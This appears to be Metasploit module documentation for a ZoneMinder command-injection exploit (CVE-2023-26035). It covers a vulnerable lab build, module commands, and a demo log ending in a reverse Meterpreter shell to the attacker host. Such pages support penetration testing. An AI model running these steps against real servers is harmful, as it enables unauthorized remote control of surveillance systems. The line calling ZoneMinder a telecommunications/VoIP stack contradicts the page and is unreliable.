## Description

This module exploits a command injection that leads to a remote execution in ZoneMinder surveillance software versions before 1.36.33 and before 1.37.33

More about the vulnerability detail: [2023-26035](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-26035).

The module will automatically use `cmd/linux/http/x64/meterpreter/reverse_tcp` payload.

The module will check if the target is vulnerable, by sending a sleep command.


## Vulnerable Application

[Zoneminder](https://zoneminder.com/) is a free and open-source software defined telecommunications stack for real-time communication, WebRTC, telecommunications, video, and Voice over Internet Protocol.

This module has been tested successfully on Zoneminder versions:

* 1.36.31~64bit on Debian 11

### Source and Installers

* [Source Code Repository](https://github.com/ZoneMinder/zoneminder/tree/1.36.31)
* [Installers](https://zoneminder.readthedocs.io/en/stable/installationguide/index.html)

**The 3rd party debian-repository has packages for the vulnerable versions(for example zoneminder=1.36.31-bullseye1)**

### Ansible Installation

This exploit was tested using [a debian bullseye cloudimage](https://cloud.debian.org/images/cloud/bullseye/20210814-734/)
with the following ansible-roles:

```yaml
roles:
  - src: https://github.com/ait-cs-IaaS/atb-ansible-zoneminder.git
    version: v1.2
    name: zoneminder
  - src: https://github.com/ait-cs-IaaS/atb-ansible-debiansnapshot.git
    version: v1.2
    name: debiansnapshot
  - src: https://github.com/ait-cs-IaaS/ansible-mariadb.git
    version: v1.0.0
    name: mariadb
  - src: https://github.com/ait-cs-IaaS/ansible-apache2.git
    version: v1.3
    name: apache2
```

Zoneminder was deployed using the following playbook:

```yaml
- name: Install old Debian-Archive-Repo Host
  hosts: all
  remote_user: debian
  become: true
  vars:
    debsnap_timestamp: 20210815T082041Z
    debsnap_debrelease: bullseye
  roles:
    - role: debiansnapshot

- name: Install Videoserver Host
  hosts: all
  remote_user: debian
  become: true
  tasks:
    - name: Install Videoserver Packages
      ansible.builtin.apt:
          pkg:
            - vim
            - curl
            - netcat-traditional
          update_cache: yes

  roles:
          - role: mariadb
          - role: apache2
            vars:
              apache2_modules:
                - name: "headers"
                - name: "rewrite"
                - name: "expires"
                - name: "cgi"
              apache2_vhosts:
                - name: default
                  http: true
                  vhost_template: "redir.j2"
          - role: zoneminder
            vars:
              zoneminder_debrelease: bullseye
```

The following template-file("redir.j2") for apache2 redirects requests to the
zoneminder subdirectory:

```
<VirtualHost *:80>
	ServerName {{ item.name }}
{% if item.aliases is defined %}
	ServerAlias {{ item.aliases|join(' ') }}
{% endif %}
	DocumentRoot {{ apache2_vhost_dir }}/{{ item.name }}
        RedirectMatch ^/$ /zm/
	ErrorLog {{ apache2_vhost_dir }}/{{ item.name }}/log/error.log
	CustomLog {{ apache2_vhost_dir }}/{{ item.name }}/log/access.log combined

	<Directory "{{ apache2_vhost_dir }}/{{ item.name }}">
		Options FollowSymLinks MultiViews
		AllowOverride All
		Require all granted
	</Directory>
</VirtualHost>
```

## Verification Steps
Example steps in this format (is also in the PR):

1. Do: `use exploit/unix/webapp/zoneminder_snapshots`
2. Do: `set RHOSTS [ips]`
3. Do: `set LHOST [lhost]`
4. Do: `run`
5. You should get a shell.

## Options

### TARGETURI

Remote web path to the zoneminder installation (default: /zm/)

## Scenarios

In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is
192.42.1.188.

### Zoneminder 1.36.31-bullseye1

The following demo shows how to use the exploit with minimal settings:

```
msf exploit(unix/webapp/zoneminder_snapshots) > run

[*] Started reverse TCP handler on 192.42.1.188:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Elapsed time: 10.249642733018845 seconds.
[+] The target appears to be vulnerable.
[*] Fetching CSRF Token
[+] Got Token: key:b5da21a154bc5f46cd2b3648fe9e44931dd74bac,1697109606
[*] Executing nix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending payload
[*] Sending stage (3045380 bytes) to 192.42.0.254
[*] Meterpreter session 1 opened (192.42.1.188:4444 -> 192.42.0.254:56398) at 2023-10-12 11:20:07 +0000
[+] Payload sent

meterpreter >
```
